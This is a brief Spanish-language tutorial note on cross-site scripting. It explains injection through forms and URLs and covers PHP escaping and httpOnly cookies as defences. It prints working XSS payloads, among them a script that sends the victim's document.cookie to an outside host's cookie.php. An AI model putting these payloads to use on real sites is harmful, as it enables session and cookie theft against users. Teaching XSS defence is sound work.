Hay que validar la entrada desde formularios, lo que viene en la url, etc
Esto se consigue inyectando código en la aplicación web del otro dominio: html, css, javascript.
Para inyectar código envíamos en el formulario o en la url el código que queramos inyectar, siempre que luego este código se muestre y por tanto se ejecute en la página de la víctima.
Insertando código javascript
<script language='javascript'>location.href='http://www.us.es';</script>
Insertando css
<div style="position:absolute;top:0px;left:0px;z-order=5000;background-color:red;color:white;width:100%;height:100%;">XSS</div>
Leyendo cookies
<script language='javascript'>location.href='http://10.1.25.52/~palako/forpas/cookie.php?c=' + document.cookie;</script>
Para evitar todo esto
1. Usamos htmlentities
2. En ASP.net también podemos usar la bandera httpOnly en la cookie
En PHP
Para evitar este tipo de vulnerabilidad en una página desarrollada en PHP uno de los métodos que pueden ser utilizados es mediante la función htmlentities() que nos convertirá los caracteres especiales a entidades HTML
<?php
$nuevo = htmlspecialchars("<a>'test'</a>", ENT_QUOTES);
echo $nuevo;
?>
Mostrando:
<a>'test'</a>
Atención a la opción TRACE